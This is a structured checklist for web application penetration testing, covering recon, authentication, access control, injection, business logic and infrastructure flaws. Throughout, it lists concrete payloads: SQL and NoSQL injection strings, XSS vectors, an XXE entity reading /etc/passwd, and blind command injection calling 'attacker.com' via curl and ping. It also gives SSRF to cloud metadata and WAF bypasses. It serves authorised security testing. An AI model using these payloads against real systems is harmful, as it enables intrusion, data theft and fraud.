Structured approach to web application penetration testing. Ordered by signal strength — test what’s most likely to yield critical findings first, eliminate noise last.
Testing Order
1. RECON Endpoints, source maps, tech stack, signals
2. AUTH Login, registration, session management, JWT, MFA
3. ACCESS BAC, IDOR, privilege escalation, role matrix
4. INJECTION SQLi, XSS, SSTI, command injection, XXE
5. LOGIC Price manipulation, race conditions, state machines
6. INFRASTRUCTURE SSRF, cache deception, API gateway bypass, CORS
Start at the top. Findings in one phase inform the next — a weak JWT makes IDOR testing trivial, a user enumeration oracle makes brute force the priority.
1. Recon
- Enumerate endpoints (API routes, directories, hidden paths)
- If an API is
/api/v1/resource, also fuzz/api/FUZZ/resourceand/api/v2/resource - Extract source maps — frontend source reveals API routes, validation logic, roles
- Check robots.txt, sitemap.xml, .well-known/
- Identify tech stack from headers, error pages, JS bundles
- Check for WAF (
wafw00f, or send<script>and observe response) - Look for overexposed endpoints returning more data than the UI shows
- Check for different content types (.php, .html, .txt, .json, .xml)
- Review JS for hardcoded API keys, internal endpoints, debug flags
2. Authentication & Session
Username Enumeration
- Different error messages (“user not found” vs “wrong password”)
- Response time differences (known user triggers password hash comparison)
- Response length differences (even 1 byte matters)
- Registration endpoint reveals existing usernames
- Password reset reveals valid emails
Brute Force
- Test rate limiting (does it exist? per-IP? per-account? per-session?)
- Header spoofing bypass:
X-Forwarded-For,X-Real-IP,X-Originating-IP,True-Client-IP - Account lockout threshold and reset behaviour
- Credential stuffing with common passwords
JWT
- Remove the token entirely — does the request still work?
- Signature
"alg": "none"attack - Change payload claims (user ID, role, email)
- Crack signature with hashcat/jwt_tool (weak secrets)
- Algorithm confusion (RS256 → HS256 with public key as secret)
-
kidheader injection (path traversal, SQLi) -
jku/x5uheader pointing to attacker-controlled key - Use low-privilege JWT for high-privilege actions
- Check token expiration — does a revoked token still work?
MFA
- Can the MFA step be skipped by navigating directly to the post-auth page?
- Is the MFA token brute-forceable (4-6 digits, no rate limit)?
- Does the MFA token work for different users?
- SQLi on the MFA verification parameter
- Response manipulation (change
"success": falsetotrue)
Session Management
- Token entropy — use Burp Sequencer or collect samples manually
- Are tokens predictable (sequential, timestamp-based, low entropy)?
- Session fixation — can you set a session token before authentication?
- Does logout actually invalidate the token server-side?
- Cookie flags: HttpOnly, Secure, SameSite
Password Reset
- Is the reset token predictable?
- Can you reset another user’s password by changing the email/username parameter?
- Host header injection to capture reset links
- Does the reset token expire?
- Can you reuse a reset token?
3. Access Control
Broken Access Control (BAC)
- Access admin pages directly (forceful browsing)
- Hidden admin paths: /admin, /administrator, /admin-panel, /management, /internal
- If /admin is protected, check /admin-roles, /admin-settings, /admin-users
- Change HTTP method (GET → PUT/DELETE) on endpoints you can read but shouldn’t write
- Remove authorization header entirely — what still works?
- Use low-privilege token on high-privilege endpoints
- Check every endpoint with: no auth, user A token, user B token, admin token
IDOR
- Identify all ID parameters (path, query, body)
- Change IDs to other users’ resources
- Try sequential IDs (id=1, id=2, id=3)
- Try UUIDs from other users (leak via user profiles, comments, etc.)
- Test WRITE before READ — can you PUT/PATCH/DELETE another user’s resource?
- Check response bodies — 200 with different data vs 200 with same data
- Contagion: if IDOR works on /users/:id, test /orders/:id, /invoices/:id
Mass Assignment
- Find endpoints that accept JSON objects (registration, profile update, settings)
- Add fields from the response back into the request (role, isAdmin, verified, balance)
- Check for spread operators in source code (
Object.assign,...req.body) - Try nested objects:
{"user": {"role": "admin"}} - Compare request fields vs response fields — extra response fields are candidates
4. Injection
SQL Injection
- Test single quote
'and double quote"in all parameters - Test with and without URL encoding (
+and%20are not the same) -
ORDER BY 1throughORDER BY 20to find column count -
UNION SELECT null, null, ...(match column count) -
UNION SELECT 1, 2, 3, ...to find visible columns - Login bypass:
' OR 1=1-- -,admin'-- - - Blind boolean:
' AND 1=1-- -vs' AND 1=2-- -(response diff) - Blind time-based:
' AND SLEEP(5)-- - - Error-based:
' AND extractvalue(1, concat(0x7e, version()))-- - - Second-order: input stored then used in a later query
- Filter bypass: case variation, comments (
SEL/**/ECT), double encoding
NoSQL Injection
- Operator injection:
{"username": "admin", "password": {"$ne": ""}} - Query parameter:
?id[$ne]=null,?id[$gt]="" - Operators:
$eq,$ne,$gt,$gte,$lt,$lte,$regex,$exists - JavaScript injection:
$where: "this.password.match(/^a.*/)"
XSS
- Is input reflected in the response? Where? (HTML body, attribute, JS context, URL)
- Context-aware payloads:
- HTML body:
<img src=x onerror=alert(1)> - Attribute:
" onmouseover="alert(1) - JavaScript:
';alert(1)// - URL/href:
javascript:alert(1)
- HTML body:
- DOM sinks: innerHTML, document.write, eval — use event handlers, NOT
<script>tags - Fuzz for allowed tags and attributes when filtering exists
- Stored XSS: input saved and rendered to other users
- Filter bypass:
<scrscriptipt>, double encoding, unicode, HTML entities - WAF bypass: payload padding (10,000+ chars before payload), case mixing
-
<base href>injection to hijack relative URLs - CSP bypass: check for unsafe-inline, wildcards, JSONP endpoints
SSTI (Server-Side Template Injection)
- Test math expressions:
{{7*7}},${7*7},<%= 7*7 %>,#{7*7} - If reflected as
49, identify the engine (Jinja2, Twig, Freemarker, Velocity) - Escalate to RCE based on engine
- Check response in proxy — frontend may not render the result
Command Injection
- Separators:
;,&&,||,|, newline (%0a) - Blind:
; ping -c 5 attacker.com,; curl attacker.com - Dangerous functions: exec(), system(), passthru() (PHP), child_process (Node.js)
- Bypass filters:
c$()at /etc/passwd, variable substitution, wildcards
XXE (XML External Entity)
- Any endpoint accepting XML, SVG, DOCX, XLSX
- Classic:
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> - Blind XXE with external DTD and out-of-band exfiltration
- XInclude attack (when you control only part of the XML)
- XXE → SSRF: use entity to fetch internal URLs
- Content-type switching: change
application/jsontoapplication/xml
5. Business Logic
Price & Value Manipulation
- Change price, quantity, discount values in POST/PUT requests
- Negative quantities or negative prices
- Integer overflow (very large numbers)
- Apply discount codes multiple times (duplicate keys, arrays)
- Change currency while keeping amount
- Skip payment step entirely (navigate to confirmation)
Race Conditions
- Multi-step processes: hammer step 2 before step 1 completes
- Duplicate actions: redeem, apply, confirm, transfer, vote
- Coupon/voucher/gift-card redemption
- Account balance operations (withdraw more than available)
- Single-packet attack: send 20-50 identical requests simultaneously
- Check for TOCTOU (time-of-check vs time-of-use) on any stateful operation
State Machine Bypass
- Skip steps in multi-step workflows (go from step 1 to step 4)
- Replay earlier steps after later ones complete
- Change state values:
status=pending→status=approved - Cancel after completion (refund after delivery)
- Re-enter a flow that should be one-time (verification, onboarding)
Coupon/Discount Abuse
// Duplicate keys
{"discount":"CODE-10", "discount":"CODE-10", "discount":"CODE-10"}
// Array injection
{"discount":["CODE-10","CODE-10","CODE-10","CODE-10","CODE-10"]}
// Apply to different items in same cart
// Apply expired codes, apply codes from other users6. Infrastructure
SSRF (Server-Side Request Forgery)
- Find URL-accepting parameters (webhooks, avatars, imports, PDF generators, link previews)
- Test localhost:
http://127.0.0.1,http://localhost,http://[::1] - Internal ranges:
10.x.x.x,172.16-31.x.x,192.168.x.x - Cloud metadata:
http://169.254.169.254/latest/meta-data/(AWS) - Alternative notation: decimal IP, hex IP, IPv6 mapped IPv4, DNS rebinding
- Redirect bypass: use your server that 302s to internal address
- Protocol switching:
file://,gopher://,dict:// - Partial SSRF: can you scan internal ports via timing/error differences?
CORS Misconfiguration
- Send request with
Origin: https://evil.com— is it reflected inAccess-Control-Allow-Origin? - Test
nullorigin - Test subdomain:
Origin: https://evil.target.com - Check if credentials are allowed (
Access-Control-Allow-Credentials: true) - If origin is reflected + credentials allowed = full account takeover via CORS
Cache Deception
- Append static extension to authenticated page:
/api/me/profile.css - Path confusion:
/api/me/%2f..%2fstatic/style.css - Request authenticated page, check if
X-Cache: HITappears on second request - If cached: access the same URL without authentication — does it return cached authenticated content?
API Gateway Bypass
- Path traversal:
/public/../admin/users - Method override:
X-HTTP-Method-Override: DELETEwith a GET request - Version rollback:
/api/v1/adminmight have weaker controls than/api/v2/admin - Case sensitivity:
/Admin/Usersvs/admin/users - Trailing characters:
/admin/users..;/,/admin/users%00 - Double URL encoding:
%252e%252e%252f
File Upload
- Extension bypass:
.phtml,.php5,.pHp,.php.jpg - Double extension:
.jpg.php - Content-type mismatch: change header but keep malicious content
- Null byte:
file.php%00.jpg - Malicious content in allowed formats (XXE in SVG/DOCX, EXIF data in images)
- Path traversal in filename:
../../../etc/cron.d/shell - Are uploaded files accessible via URL? Can other users access them?
Open Redirect
- Check URL parameters:
?redirect=,?next=,?url=,?return= - Frontend:
location.href,window.location,document.locationwith user input - Bypass filters:
//evil.com,\/\/evil.com,https://target.com@evil.com - Use for: phishing, OAuth token theft, SSRF chain
CSRF
- State-changing requests without CSRF token
- Token present but not validated (random value accepted)
- Token tied to session? (swap between users)
- GET method accepted for state-changing actions (CSRF via image tag)
- SameSite cookie attribute (None = vulnerable, Lax/Strict = harder)
WebSocket
- Check for
Upgrade: WebSocketin responses - Cross-Site WebSocket Hijacking (CSWSH):
- Handshake relies on cookies only (no CSRF token)
- SameSite=None on session cookie
- Message injection / manipulation
- Check if authentication is validated on each message or just on connect
Prototype Pollution
- JSON body:
{"__proto__": {"isAdmin": true}} - Query string:
?__proto__[isAdmin]=true - Constructor:
{"constructor": {"prototype": {"isAdmin": true}}} - Filter bypass:
__pro__proto__to__ - Look for sinks:
eval(),document.createElement(),innerHTML,Object.assign() - Server-side: use Burp extension or test for property reflection in responses
- DOM-based: use DOM Invader in Burp’s embedded browser
GraphQL
- Introspection:
{__schema{types{name,fields{name}}}} - If introspection disabled: field suggestion, field stuffing, error-based discovery
- Batch queries: send multiple operations in one request
- Depth/complexity attacks (nested queries for DoS)
- Mutation discovery: fuzz for hidden mutations
- Alias-based brute force (multiple queries in one request)
- Standard web vulns still apply: injection, IDOR, BAC on all fields
WAF Bypass Techniques
When a WAF blocks your payload:
- Payload padding: 10,000+ characters before the actual payload
- Encoding: double URL encoding, unicode, HTML entities, hex
- Case mixing:
SeLeCt,<ScRiPt> - Comment insertion:
SEL/**/ECT,UN/**/ION - HTTP parameter pollution: same param multiple times
- Content-type switching:
application/jsontoapplication/x-www-form-urlencoded - Chunked transfer encoding
- After 3 failed bypass attempts on the same endpoint: move on. Don’t rabbit-hole.